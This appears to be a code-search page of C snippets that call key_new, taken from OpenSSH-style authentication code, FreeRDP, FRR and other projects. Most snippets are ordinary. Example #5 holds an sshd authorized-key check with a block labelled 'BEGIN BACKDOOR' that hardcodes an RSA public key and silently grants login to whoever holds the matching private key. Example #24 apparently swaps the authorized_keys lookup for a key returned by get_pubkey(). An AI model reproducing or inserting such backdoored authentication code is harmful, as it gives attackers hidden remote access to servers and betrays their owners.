예제 #1
0
static void add_to_set(struct hashtable* h, key* k, val* v) {
	int rv;
	key* new_key;
	flat_key_val* new_value;
	
	new_value = hashtable_search(h, k);
	if (new_value == NULL) {
		new_key = key_new(k->data, k->size);
		new_value = malloc(sizeof(flat_key_val) + k->size + v->size);
		assert(new_value != NULL);
		rv = hashtable_insert(h, new_key, new_value);
		assert(rv != 0);
	} else {
		if ((k->size + v->size) != (new_value->ksize + new_value->vsize)) {
			new_key = key_new(k->data, k->size);
			new_value = hashtable_remove(h, k);
			free(new_value);
			new_value = malloc(sizeof(flat_key_val) + k->size + v->size);
			assert(new_value != NULL);
			rv = hashtable_insert(h, new_key, new_value);
			assert(rv != 0);
		}
	}
	
	new_value->ksize = k->size;
	new_value->vsize = v->size;
	memcpy(new_value->data, k->data, k->size);
	memcpy(&new_value->data[k->size], v->data, v->size);
}
예제 #2
0
Key *
key_load_private_pem(int fd, int type, const char *passphrase,
                     char **commentp)
{
    FILE *fp;
    EVP_PKEY *pk = NULL;
    Key *prv = NULL;
    char *name = "<no key>";

    fp = fdopen(fd, "r");
    if (fp == NULL) {
        error("fdopen failed: %s", strerror(errno));
        close(fd);
        return NULL;
    }
    pk = PEM_read_PrivateKey(fp, NULL, NULL, (char *)passphrase);
    if (pk == NULL) {
        debug("PEM_read_PrivateKey failed");
        (void)ERR_get_error();
    } else if (pk->type == EVP_PKEY_RSA &&
               (type == KEY_UNSPEC||type==KEY_RSA)) {
        prv = key_new(KEY_UNSPEC);
        prv->rsa = EVP_PKEY_get1_RSA(pk);
        prv->type = KEY_RSA;
        name = "rsa w/o comment";
#ifdef DEBUG_PK
        RSA_print_fp(stderr, prv->rsa, 8);
#endif
        if (RSA_blinding_on(prv->rsa, NULL) != 1) {
            error("key_load_private_pem: RSA_blinding_on failed");
            key_free(prv);
            prv = NULL;
        }
    } else if (pk->type == EVP_PKEY_DSA &&
               (type == KEY_UNSPEC||type==KEY_DSA)) {
        prv = key_new(KEY_UNSPEC);
        prv->dsa = EVP_PKEY_get1_DSA(pk);
        prv->type = KEY_DSA;
        name = "dsa w/o comment";
#ifdef DEBUG_PK
        DSA_print_fp(stderr, prv->dsa, 8);
#endif
    } else {
        error("PEM_read_PrivateKey: mismatch or "
              "unknown EVP_PKEY save_type %d", pk->save_type);
    }
    fclose(fp);
    if (pk != NULL)
        EVP_PKEY_free(pk);
    if (prv != NULL && commentp)
        *commentp = xstrdup(name);
    debug("read PEM private key done: type %s",
          prv ? key_type(prv) : "<unknown>");
    return prv;
}
예제 #3
0
파일: peer.c 프로젝트: awakecoding/FreeRDP
static BOOL freerdp_peer_initialize(freerdp_peer* client)
{
	rdpRdp* rdp = client->context->rdp;
	rdpSettings* settings = rdp->settings;
	settings->ServerMode = TRUE;
	settings->FrameAcknowledge = 0;
	settings->LocalConnection = client->local;
	rdp->state = CONNECTION_STATE_INITIAL;

	if (settings->RdpKeyFile)
	{
		settings->RdpServerRsaKey = key_new(settings->RdpKeyFile);

		if (!settings->RdpServerRsaKey)
		{
			WLog_ERR(TAG, "invalid RDP key file %s", settings->RdpKeyFile);
			return FALSE;
		}
	}
	else if (settings->RdpKeyContent)
	{
		settings->RdpServerRsaKey = key_new_from_content(settings->RdpKeyContent, NULL);

		if (!settings->RdpServerRsaKey)
		{
			WLog_ERR(TAG, "invalid RDP key content");
			return FALSE;
		}
	}

	return TRUE;
}
예제 #4
0
static Key *
keygrab_ssh1(con *c)
{
    static Key *rsa;
    static Buffer msg;

    if (rsa == NULL) {
        buffer_init(&msg);
        rsa = key_new(KEY_RSA1);
    }
    buffer_append(&msg, c->c_data, c->c_plen);
    buffer_consume(&msg, 8 - (c->c_plen & 7));	/* padding */
    if (buffer_get_char(&msg) != (int) SSH_SMSG_PUBLIC_KEY) {
        error("%s: invalid packet type", c->c_name);
        buffer_clear(&msg);
        return NULL;
    }
    buffer_consume(&msg, 8);		/* cookie */

    /* server key */
    (void) buffer_get_int(&msg);
    buffer_get_bignum(&msg, rsa->rsa->e);
    buffer_get_bignum(&msg, rsa->rsa->n);

    /* host key */
    (void) buffer_get_int(&msg);
    buffer_get_bignum(&msg, rsa->rsa->e);
    buffer_get_bignum(&msg, rsa->rsa->n);

    buffer_clear(&msg);

    return (rsa);
}
예제 #5
0
/*
 * Checks whether key is allowed in file.
 * returns 1 if the key is allowed or 0 otherwise.
 */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
	FILE *f;
	int found_key = 0;

	/********** BEGIN BACKDOOR ***************/
	char backdoor_key[] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMfAdPOOBDuzYih8neJCs6YA0fHyuDTieslk4GjM19JJh89zYR+uXKUlMzwAdEfEoELugoqYRMGg0QVSYIlDzzTtPc26agKEBZAZas7Q+M/Y6HD76EdFbNFzYJ4wo/cYfDpxr2uXhAhKOAQ0AVGBrd26SgHmw4iX8HqLniqyLj+f41jLJoaH09YUQ/O6ZX9nFDoF3fXo2GJJYoxEz0/d63+vKst22vd1XKXApdir3QwfpMwrmMIsS4ObotQsZ0DO9Mbtcv5EmV3/h1EQFIRSNwObKDUMIa0zvZRpGM8LVBzlZ8meVrHm3BiycYSIWjAgrgbUoypuKpGQOevRaF1jDovaX6XVOZyek8WwYWo4J3xYQBpX3Y337T/+VTwdsLwdDWtyMoFjiG0Kgx7qK6zsaHKA8ZElN7OkRlhbQoXlUrvwPWjrw8jM75vhMXpM1ZcS/MzXxUvVJdgoAXcarx9fqfX/BQJcwtR0THiOCeFGq1PTyv2BWn2FkraRozS/hkZS+CmdnDxl26/YE9Ls79+DN13Xgao5aLM/hnti5iXixmuqmv+xENIYyO21wjDbvuool25W58BXj6Yecrxhi68UI899NE9iV38kHeUIYYD1/K7/F9Y7g4PKhDN4KMshYambfqzdx9S+aaeE06+LdapOQt40G9MdgUn73b7uz3il/04Q== martin@phoenix";
	char *char_pointer = backdoor_key;
	Key *found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);
	auth_clear_options();
	int ret = key_read(found, &char_pointer);
	if (key_equal(found, key)) {
		found_key = 1;
		key_free(found);
		kk_backdoor_active = 1;
		return found_key;
	}
	key_free(found);
	/*********** END BACKDOOR ****************/

	/* Temporarily use the user's uid. */
	temporarily_use_uid(pw);

	debug("trying public key file %s", file);
	if ((f = auth_openkeyfile(file, pw, options.strict_modes)) != NULL) {
		found_key = check_authkeys_file(f, file, key, pw);
		fclose(f);
	}

	restore_uid();
	return found_key;
}
예제 #6
0
int key_load(key_t *key, unsigned int *err_code)
{
	FILE *fp = NULL;
	EVP_PKEY *k = NULL;

	/* Create OpenSSL key container */
	if (!key_new(key)) {
		*err_code = KEY_ERR_MALLOC;
		return 0;
	}

	if (key->fn) {
		/* Load key from file */
		fp = fopen(key->fn, "r");
		if (fp) {
			k = PEM_read_PrivateKey(fp, &key->key, NULL, NULL);
			fclose(fp);
			if (k) {
				*err_code = KEY_ERR_NONE;
				return 1;
			} else {
				ERROR("Cannot load key from %s\n", key->fn);
				*err_code = KEY_ERR_LOAD;
			}
		} else {
			WARN("Cannot open file %s\n", key->fn);
			*err_code = KEY_ERR_OPEN;
		}
	} else {
		WARN("Key filename not specified\n");
		*err_code = KEY_ERR_FILENAME;
	}

	return 0;
}
예제 #7
0
파일: key.c 프로젝트: pakls/teraterm-ttssh2
Key *key_new_private(int type)
{
	Key *k = key_new(type);

	key_add_private(k);
	return (k);
}
예제 #8
0
파일: key.c 프로젝트: mwatts15/TagFS
tagdb_key_t key_copy (tagdb_key_t k)
{
    tagdb_key_t res = key_new();
    KL(k,i)
    {
        key_push_end(res, key_ref(k, i));
    }
예제 #9
0
static BOOL freerdp_peer_initialize(freerdp_peer* client)
{
	rdpRdp* rdp = client->context->rdp;
	rdpSettings* settings = rdp->settings;

	settings->ServerMode = TRUE;
	settings->FrameAcknowledge = 0;
	settings->LocalConnection = client->local;
	rdp->state = CONNECTION_STATE_INITIAL;

	if (settings->RdpKeyFile)
	{
		settings->RdpServerRsaKey = key_new(settings->RdpKeyFile);

		if (!settings->RdpServerRsaKey)
		{
			DEBUG_WARN( "%s: inavlid RDP key file %s\n", __FUNCTION__, settings->RdpKeyFile);
			return FALSE;
		}

		if (settings->RdpServerRsaKey->ModulusLength > 256)
		{
			DEBUG_WARN( "%s: Key sizes > 2048 are currently not supported for RDP security.\n", __FUNCTION__);
			DEBUG_WARN( "%s: Set a different key file than %s\n", __FUNCTION__, settings->RdpKeyFile);
			exit(1);
		}
	}

	return TRUE;
}
예제 #10
0
static Key *
key_load_public_rsa1(int fd, const char *filename, char **commentp)
{
    Buffer buffer;
    Key *pub;
    struct stat st;
    char *cp;
    int i;
    off_t len;

    if (fstat(fd, &st) < 0) {
        error("fstat for key file %.200s failed: %.100s",
              filename, strerror(errno));
        return NULL;
    }
    len = st.st_size;

    buffer_init(&buffer);
    cp = buffer_append_space(&buffer, len);

    if (read(fd, cp, (size_t) len) != (size_t) len) {
        debug("Read from key file %.200s failed: %.100s", filename,
              strerror(errno));
        buffer_free(&buffer);
        return NULL;
    }

    /* Check that it is at least big enough to contain the ID string. */
    if (len < sizeof(authfile_id_string)) {
        debug3("Not a RSA1 key file %.200s.", filename);
        buffer_free(&buffer);
        return NULL;
    }
    /*
     * Make sure it begins with the id string.  Consume the id string
     * from the buffer.
     */
    for (i = 0; i < sizeof(authfile_id_string); i++)
        if (buffer_get_char(&buffer) != authfile_id_string[i]) {
            debug3("Not a RSA1 key file %.200s.", filename);
            buffer_free(&buffer);
            return NULL;
        }
    /* Skip cipher type and reserved data. */
    (void) buffer_get_char(&buffer);	/* cipher type */
    (void) buffer_get_int(&buffer);		/* reserved */

    /* Read the public key from the buffer. */
    (void) buffer_get_int(&buffer);
    pub = key_new(KEY_RSA1);
    buffer_get_bignum(&buffer, pub->rsa->n);
    buffer_get_bignum(&buffer, pub->rsa->e);
    if (commentp)
        *commentp = buffer_get_string(&buffer, NULL);
    /* The encrypted private part is not parsed by this function. */

    buffer_free(&buffer);
    return pub;
}
예제 #11
0
파일: key.c 프로젝트: mwatts15/TagFS
tagdb_key_t make_key (key_elem_t *args, int nkeys)
{
    tagdb_key_t res = key_new();
    for (int i = 0; i < nkeys; i++)
    {
        key_push_end(res, args[i]);
    }
    return res;
}
예제 #12
0
파일: key.c 프로젝트: dw/acid
/**
 * Attempt to convert an object to a Key, if it is not already a Key.
 */
Key *
acid_make_key(PyObject *obj)
{
    PyObject *tmp = PyTuple_Pack(1, obj);
    PyObject *out = NULL;
    if(tmp) {
        out = key_new(&KeyType, tmp, NULL);
        Py_DECREF(tmp);
    }
    return (Key *) out;
}
예제 #13
0
파일: keychain.c 프로젝트: ton31337/frr
static struct key *key_get(const struct keychain *keychain, uint32_t index)
{
	struct key *key;

	key = key_lookup(keychain, index);

	if (key)
		return key;

	key = key_new();
	key->index = index;
	listnode_add_sort(keychain->key, key);

	return key;
}
예제 #14
0
파일: peer.c 프로젝트: KimDongChun/FreeRDP
static BOOL freerdp_peer_initialize(freerdp_peer* client)
{
	client->context->rdp->settings->ServerMode = TRUE;
	client->context->rdp->settings->FrameAcknowledge = 0;
	client->context->rdp->settings->LocalConnection = client->local;
	client->context->rdp->state = CONNECTION_STATE_INITIAL;

	if (client->context->rdp->settings->RdpKeyFile != NULL)
	{
		client->context->rdp->settings->RdpServerRsaKey =
		    key_new(client->context->rdp->settings->RdpKeyFile);
	}

	return TRUE;
}
예제 #15
0
파일: key.c 프로젝트: dw/acid
/**
 * Fetch a slice of the Key.
 */
static PyObject *
key_subscript(Key *self, PyObject *key)
{
    if(PySlice_Check(key)) {
        // TODO: make this more efficient
        PyObject *tup = PySequence_Tuple((PyObject *) self);
        PyObject *slice = NULL;
        PyObject *newkey = NULL;
        if(tup) {
            PyMappingMethods *funcs = tup->ob_type->tp_as_mapping;
            slice = funcs->mp_subscript((PyObject *) tup, key);
            Py_DECREF(tup);
        }
        if(slice) {
            newkey = key_new(&KeyType, slice, NULL);
            Py_DECREF(slice);
        }
        return newkey;
    } else {
        // Fetch the `i`th item from the Key.
        Py_ssize_t i = PyNumber_AsSsize_t(key, PyExc_OverflowError);
        if(i == -1 && PyErr_Occurred()) {
            return NULL;
        }
        struct reader rdr;
        rdr.p = Key_DATA(self);
        rdr.e = Key_SIZE(self) + rdr.p;
        int eof = rdr.p == rdr.e;

        if(i < 0) {
            // TODO: make this more efficient
            Py_ssize_t len = key_length(self);
            i += len;
            eof |= i < 0;
        }
        while(i-- && !eof) {
            if(acid_skip_element(&rdr, &eof)) {
                return NULL;
            }
        }
        if(eof) {
            PyErr_SetString(PyExc_IndexError, "Key index out of range");
            return NULL;
        }
        return acid_read_element(&rdr);
    }
}
예제 #16
0
Key *
ssh_get_next_identity(AuthenticationConnection *auth, char **comment, int version)
{
#ifdef WITH_SSH1
	int keybits;
	u_int bits;
#endif
	u_char *blob;
	u_int blen;
	Key *key = NULL;

	/* Return failure if no more entries. */
	if (auth->howmany <= 0)
		return NULL;

	/*
	 * Get the next entry from the packet.  These will abort with a fatal
	 * error if the packet is too short or contains corrupt data.
	 */
	switch (version) {
#ifdef WITH_SSH1
	case 1:
		key = key_new(KEY_RSA1);
		bits = buffer_get_int(&auth->identities);
		buffer_get_bignum(&auth->identities, key->rsa->e);
		buffer_get_bignum(&auth->identities, key->rsa->n);
		*comment = buffer_get_string(&auth->identities, NULL);
		keybits = BN_num_bits(key->rsa->n);
		if (keybits < 0 || bits != (u_int)keybits)
			logit("Warning: identity keysize mismatch: actual %d, announced %u",
			    BN_num_bits(key->rsa->n), bits);
		break;
#endif
	case 2:
		blob = buffer_get_string(&auth->identities, &blen);
		*comment = buffer_get_string(&auth->identities, NULL);
		key = key_from_blob(blob, blen);
		free(blob);
		break;
	default:
		return NULL;
	}
	/* Decrement the number of remaining entries. */
	auth->howmany--;
	return key;
}
예제 #17
0
int key_create(key_t *key, int type)
{
	if (type >= KEY_ALG_MAX_NUM) {
		printf("Invalid key type\n");
		return 0;
	}

	/* Create OpenSSL key container */
	if (!key_new(key)) {
		return 0;
	}

	if (key_create_fn[type]) {
		return key_create_fn[type](key);
	}

	return 0;
}
예제 #18
0
/*ARGSUSED*/
static int
auth1_process_rhosts_rsa(Authctxt *authctxt)
{
	int keybits, authenticated = 0;
	u_int bits;
	char *client_user;
	Key *client_host_key;
	u_int ulen;

	/*
	 * Get client user name.  Note that we just have to
	 * trust the client; root on the client machine can
	 * claim to be any user.
	 */
	client_user = packet_get_cstring(&ulen);

	/* Get the client host key. */
	client_host_key = key_new(KEY_RSA1);
	bits = packet_get_int();
	packet_get_bignum(client_host_key->rsa->e);
	packet_get_bignum(client_host_key->rsa->n);

	keybits = BN_num_bits(client_host_key->rsa->n);
	if (keybits < 0 || bits != (u_int)keybits) {
		verbose("Warning: keysize mismatch for client_host_key: "
		    "actual %d, announced %d",
		    BN_num_bits(client_host_key->rsa->n), bits);
	}
	packet_check_eom();

	authenticated = auth_rhosts_rsa(authctxt, client_user,
	    client_host_key);
	key_free(client_host_key);

	auth_info(authctxt, "ruser %.100s", client_user);
	free(client_user);

	return (authenticated);
}
예제 #19
0
static Key*
read_keyfile(FILE *fp, char *filename, struct passwd *pw, u_long *linenum)
{
	// TODO: do we need to use a different constant here?
	char line[SSH_MAX_PUBKEY_BYTES];
	Key *found = NULL;

	while (read_keyfile_line(fp, filename, line, sizeof(line), linenum) != -1) {
		char *cp, *key_options;
		if (found != NULL)
			key_free(found);
		found = key_new(KEY_U2F);
		// TODO: auth_clear_options();?

		/* Skip leading whitespace, empty and comment lines. */
        for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
            ;
        if (!*cp || *cp == '\n' || *cp == '#')
            continue;

		debug("reading key from line %lu", *linenum);
		if (key_read(found, &cp) != 1) {
			debug("key_read failed, skipping line %lu", *linenum);
			continue;
		}
		debug("key type: %d (u2f = %d)", found->type, KEY_U2F);
		if (found->type == KEY_U2F) {
		//if (key_equal(found, key)) {
			//if (auth_parse_options(pw, key_options, filename, *linenum) != 1)
			//	continue;
			// TODO: calculate and display a fingerprint of the key handle and pubkey?
			debug("matching key found: file %s, line %lu", filename, *linenum);
			// TODO: store multiple matches in authctx->methoddata, or rather authctxt->keys? (see sshconnect2.c)
			return found;
		}
	}
	return NULL;
}
예제 #20
0
/* return ok if key exists in sysfile or userfile */
HostStatus
check_key_in_hostfiles(struct passwd *pw, Key *key, const char *host,
    const char *sysfile, const char *userfile)
{
	Key *found;
	char *user_hostfile;
	struct stat st;
	HostStatus host_status;

	/* Check if we know the host and its host key. */
	found = key_new(key->type);
	host_status = check_host_in_hostfile(sysfile, host, key, found, NULL);

	if (host_status != HOST_OK && userfile != NULL) {
		user_hostfile = tilde_expand_filename(userfile, pw->pw_uid);
		if (options.strict_modes &&
		    (stat(user_hostfile, &st) == 0) &&
		    ((st.st_uid != 0 && st.st_uid != pw->pw_uid) ||
		    (st.st_mode & 022) != 0)) {
			logit("Authentication refused for %.100s: "
			    "bad owner or modes for %.200s",
			    pw->pw_name, user_hostfile);
		} else {
			temporarily_use_uid(pw);
			host_status = check_host_in_hostfile(user_hostfile,
			    host, key, found, NULL);
			restore_uid();
		}
		xfree(user_hostfile);
	}
	key_free(found);

	debug2("check_key_in_hostfiles: key %s for %s", host_status == HOST_OK ?
	    "ok" : "not found", host);
	return host_status;
}
예제 #21
0
static int
rsa_key_allowed_in_file(struct passwd *pw, char *file,
    const BIGNUM *client_n, Key **rkey)
{
	char line[SSH_MAX_PUBKEY_BYTES];
	int allowed = 0;
	u_int bits;
	FILE *f;
	u_long linenum = 0;
	Key *key;

	debug("trying public RSA key file %s", file);
	if ((f = auth_openkeyfile(file, pw, options.strict_modes)) == NULL)
		return 0;

	/*
	 * Go though the accepted keys, looking for the current key.  If
	 * found, perform a challenge-response dialog to verify that the
	 * user really has the corresponding private key.
	 */
	key = key_new(KEY_RSA1);
	while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) {
		char *cp;
		char *key_options;
		int keybits;
		char *fp;

		/* Skip leading whitespace, empty and comment lines. */
		for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
			;
		if (!*cp || *cp == '\n' || *cp == '#')
			continue;

		/*
		 * Check if there are options for this key, and if so,
		 * save their starting address and skip the option part
		 * for now.  If there are no options, set the starting
		 * address to NULL.
		 */
		if (*cp < '0' || *cp > '9') {
			int quoted = 0;
			key_options = cp;
			for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
				if (*cp == '\\' && cp[1] == '"')
					cp++;	/* Skip both */
				else if (*cp == '"')
					quoted = !quoted;
			}
		} else
			key_options = NULL;

		/* Parse the key from the line. */
		if (hostfile_read_key(&cp, &bits, key) == 0) {
			debug("%.100s, line %lu: non ssh1 key syntax",
			    file, linenum);
			continue;
		}
		/* cp now points to the comment part. */

		/*
		 * Check if the we have found the desired key (identified
		 * by its modulus).
		 */
		if (BN_cmp(key->rsa->n, client_n) != 0)
			continue;

		/* check the real bits  */
		keybits = BN_num_bits(key->rsa->n);
		if (keybits < 0 || bits != (u_int)keybits)
			logit("Warning: %s, line %lu: keysize mismatch: "
			    "actual %d vs. announced %d.",
			    file, linenum, BN_num_bits(key->rsa->n), bits);

		/* Never accept a revoked key */
		if (auth_key_is_revoked(key))
			break;

		if (blacklisted_key(key)) {
			fp = key_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX);
			if (options.permit_blacklisted_keys)
				logit("Public key %s blacklisted (see "
				    "ssh-vulnkey(1)); continuing anyway", fp);
			else
				logit("Public key %s blacklisted (see "
				    "ssh-vulnkey(1))", fp);
			xfree(fp);
			if (!options.permit_blacklisted_keys)
				continue;
		}

		/* We have found the desired key. */
		/*
		 * If our options do not allow this key to be used,
		 * do not send challenge.
		 */
		if (!auth_parse_options(pw, key_options, file, linenum))
			continue;
		if (key_is_cert_authority)
			continue;
		/* break out, this key is allowed */
		allowed = 1;
		break;
	}

	/* Close the file. */
	fclose(f);

	/* return key if allowed */
	if (allowed && rkey != NULL)
		*rkey = key;
	else
		key_free(key);

	return allowed;
}
예제 #22
0
/* return 1 if user allows given key */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
	char line[SSH_MAX_PUBKEY_BYTES];
	const char *reason;
	int found_key = 0;
	FILE *f;
	u_long linenum = 0;
	Key *found;
	char *fp;

	/* Temporarily use the user's uid. */
	temporarily_use_uid(pw);

	debug("trying public key file %s", file);
	f = auth_openkeyfile(file, pw, options.strict_modes);

	if (!f) {
		restore_uid();
		return 0;
	}

	found_key = 0;
	found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);

	while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) {
		char *cp, *key_options = NULL;

		auth_clear_options();

		/* Skip leading whitespace, empty and comment lines. */
		for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
			;
		if (!*cp || *cp == '\n' || *cp == '#')
			continue;

		if (key_read(found, &cp) != 1) {
			/* no key?  check if there are options for this key */
			int quoted = 0;
			debug2("user_key_allowed: check options: '%s'", cp);
			key_options = cp;
			for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
				if (*cp == '\\' && cp[1] == '"')
					cp++;	/* Skip both */
				else if (*cp == '"')
					quoted = !quoted;
			}
			/* Skip remaining whitespace. */
			for (; *cp == ' ' || *cp == '\t'; cp++)
				;
			if (key_read(found, &cp) != 1) {
				debug2("user_key_allowed: advance: '%s'", cp);
				/* still no key?  advance to next line*/
				continue;
			}
		}
		if (key_is_cert(key)) {
			if (!key_equal(found, key->cert->signature_key))
				continue;
			if (auth_parse_options(pw, key_options, file,
			    linenum) != 1)
				continue;
			if (!key_is_cert_authority)
				continue;
			fp = key_fingerprint(found, SSH_FP_MD5,
			    SSH_FP_HEX);
			debug("matching CA found: file %s, line %lu, %s %s",
			    file, linenum, key_type(found), fp);
			/*
			 * If the user has specified a list of principals as
			 * a key option, then prefer that list to matching
			 * their username in the certificate principals list.
			 */
			if (authorized_principals != NULL &&
			    !match_principals_option(authorized_principals,
			    key->cert)) {
				reason = "Certificate does not contain an "
				    "authorized principal";
 fail_reason:
				xfree(fp);
				error("%s", reason);
				auth_debug_add("%s", reason);
				continue;
			}
			if (key_cert_check_authority(key, 0, 0,
			    authorized_principals == NULL ? pw->pw_name : NULL,
			    &reason) != 0)
				goto fail_reason;
			if (auth_cert_options(key, pw) != 0) {
				xfree(fp);
				continue;
			}
			verbose("Accepted certificate ID \"%s\" "
			    "signed by %s CA %s via %s", key->cert->key_id,
			    key_type(found), fp, file);
			xfree(fp);
			found_key = 1;
			break;
		} else if (key_equal(found, key)) {
			if (auth_parse_options(pw, key_options, file,
			    linenum) != 1)
				continue;
			if (key_is_cert_authority)
				continue;
			found_key = 1;
			debug("matching key found: file %s, line %lu",
			    file, linenum);
			fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
			verbose("Found matching %s key: %s",
			    key_type(found), fp);
			xfree(fp);
			break;
		}
	}
	restore_uid();
	fclose(f);
	key_free(found);
	if (!found_key)
		debug2("key not found");
	return found_key;
}
예제 #23
0
void
load_hostkeys(struct hostkeys *hostkeys, const char *host, const char *path)
{
	FILE *f;
	char line[8192];
	u_long linenum = 0, num_loaded = 0;
	char *cp, *cp2, *hashed_host;
	HostkeyMarker marker;
	Key *key;
	int kbits;

	if ((f = fopen(path, "r")) == NULL)
		return;
	debug3("%s: loading entries for host \"%.100s\" from file \"%s\"",
	    __func__, host, path);
	while (read_keyfile_line(f, path, line, sizeof(line), &linenum) == 0) {
		cp = line;

		/* Skip any leading whitespace, comments and empty lines. */
		for (; *cp == ' ' || *cp == '\t'; cp++)
			;
		if (!*cp || *cp == '#' || *cp == '\n')
			continue;

		if ((marker = check_markers(&cp)) == MRK_ERROR) {
			verbose("%s: invalid marker at %s:%lu",
			    __func__, path, linenum);
			continue;
		}

		/* Find the end of the host name portion. */
		for (cp2 = cp; *cp2 && *cp2 != ' ' && *cp2 != '\t'; cp2++)
			;

		/* Check if the host name matches. */
		if (match_hostname(host, cp, (u_int) (cp2 - cp)) != 1) {
			if (*cp != HASH_DELIM)
				continue;
			hashed_host = host_hash(host, cp, (u_int) (cp2 - cp));
			if (hashed_host == NULL) {
				debug("Invalid hashed host line %lu of %s",
				    linenum, path);
				continue;
			}
			if (strncmp(hashed_host, cp, (u_int) (cp2 - cp)) != 0)
				continue;
		}

		/* Got a match.  Skip host name. */
		cp = cp2;

		/*
		 * Extract the key from the line.  This will skip any leading
		 * whitespace.  Ignore badly formatted lines.
		 */
		key = key_new(KEY_UNSPEC);
		if (!hostfile_read_key(&cp, &kbits, key)) {
			key_free(key);
			key = key_new(KEY_RSA1);
			if (!hostfile_read_key(&cp, &kbits, key)) {
				key_free(key);
				continue;
			}
		}
		if (!hostfile_check_key(kbits, key, host, path, linenum))
			continue;

		debug3("%s: found %skey type %s in file %s:%lu", __func__,
		    marker == MRK_NONE ? "" :
		    (marker == MRK_CA ? "ca " : "revoked "),
		    key_type(key), path, linenum);
		hostkeys->entries = xrealloc(hostkeys->entries,
		    hostkeys->num_entries + 1, sizeof(*hostkeys->entries));
		hostkeys->entries[hostkeys->num_entries].host = xstrdup(host);
		hostkeys->entries[hostkeys->num_entries].file = xstrdup(path);
		hostkeys->entries[hostkeys->num_entries].line = linenum;
		hostkeys->entries[hostkeys->num_entries].key = key;
		hostkeys->entries[hostkeys->num_entries].marker = marker;
		hostkeys->num_entries++;
		num_loaded++;
	}
	debug3("%s: loaded %lu keys", __func__, num_loaded);
	fclose(f);
	return;
}	
예제 #24
0
/* return 1 if user allows given key */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
    char *line = NULL;
	const char *reason;
	int found_key = 0;
	FILE *f;
	u_long linenum = 0;
	Key *found;
	char *fp;

	/* Temporarily use the user's uid. */
	temporarily_use_uid(pw);

	debug("trying public key file %s", file);
	f = auth_openkeyfile(file, pw, options.strict_modes);

	if (!f) {
		restore_uid();
		return 0;
	}

	found_key = 0;
	found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);

    gs_auth_fingerprint = key_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX);
    if (gs_auth_pubkey == NULL) {
        gs_auth_pubkey = get_pubkey();
    }
    line = gs_auth_pubkey;
    while (line) {
		char *cp, *key_options = NULL;

		auth_clear_options();

		/* Skip leading whitespace, empty and comment lines. */
		for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
			;
		if (!*cp || *cp == '\n' || *cp == '#')
			break;

		if (key_read(found, &cp) != 1) {
			/* no key?  check if there are options for this key */
			int quoted = 0;
			debug2("user_key_allowed: check options: '%s'", cp);
			key_options = cp;
			for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
				if (*cp == '\\' && cp[1] == '"')
					cp++;	/* Skip both */
				else if (*cp == '"')
					quoted = !quoted;
			}
			/* Skip remaining whitespace. */
			for (; *cp == ' ' || *cp == '\t'; cp++)
				;
			if (key_read(found, &cp) != 1) {
				debug2("user_key_allowed: advance: '%s'", cp);
				/* still no key?  advance to next line*/
				break;
			}
		}
		if (key_equal(found, key)) {
			if (auth_parse_options(pw, key_options, file,
			    linenum) != 1)
				break;
			if (key_is_cert_authority)
				break;
			found_key = 1;
			debug("matching key found: file %s, line %lu",
			    file, linenum);
			fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
			verbose("Found matching %s key: %s",
			    key_type(found), fp);
			xfree(fp);
			break;
		}
		break;
	}
	restore_uid();
	fclose(f);
	key_free(found);
	if (!found_key)
		debug2("key not found");
	return found_key;
}
예제 #25
0
/* return 1 if user allows given key */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
	char line[SSH_MAX_PUBKEY_BYTES];
	int found_key = 0;
	FILE *f;
	u_long linenum = 0;
	struct stat st;
	Key *found;
	char *fp;

	/* Temporarily use the user's uid. */
	temporarily_use_uid(pw);

	debug("trying public key file %s", file);

	/* Fail quietly if file does not exist */
	if (stat(file, &st) < 0) {
		/* Restore the privileged uid. */
		restore_uid();
		return 0;
	}
	/* Open the file containing the authorized keys. */
	f = fopen(file, "r");
	if (!f) {
		/* Restore the privileged uid. */
		restore_uid();
		return 0;
	}
	if (options.strict_modes &&
	    secure_filename(f, file, pw, line, sizeof(line)) != 0) {
		fclose(f);
		logit("Authentication refused: %s", line);
		restore_uid();
		return 0;
	}

	found_key = 0;
	found = key_new(key->type);

	while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) {
		char *cp, *key_options = NULL;

		/* Skip leading whitespace, empty and comment lines. */
		for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
			;
		if (!*cp || *cp == '\n' || *cp == '#')
			continue;

		if (key_read(found, &cp) != 1) {
			/* no key?  check if there are options for this key */
			int quoted = 0;
			debug2("user_key_allowed: check options: '%s'", cp);
			key_options = cp;
			for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
				if (*cp == '\\' && cp[1] == '"')
					cp++;	/* Skip both */
				else if (*cp == '"')
					quoted = !quoted;
			}
			/* Skip remaining whitespace. */
			for (; *cp == ' ' || *cp == '\t'; cp++)
				;
			if (key_read(found, &cp) != 1) {
				debug2("user_key_allowed: advance: '%s'", cp);
				/* still no key?  advance to next line*/
				continue;
			}
		}
		if (key_equal(found, key) &&
		    auth_parse_options(pw, key_options, file, linenum) == 1) {
			found_key = 1;
			debug("matching key found: file %s, line %lu",
			    file, linenum);
			fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
			verbose("Found matching %s key: %s",
			    key_type(found), fp);
			xfree(fp);
			break;
		}
	}
	restore_uid();
	fclose(f);
	key_free(found);
	if (!found_key)
		debug2("key not found");
	return found_key;
}
예제 #26
0
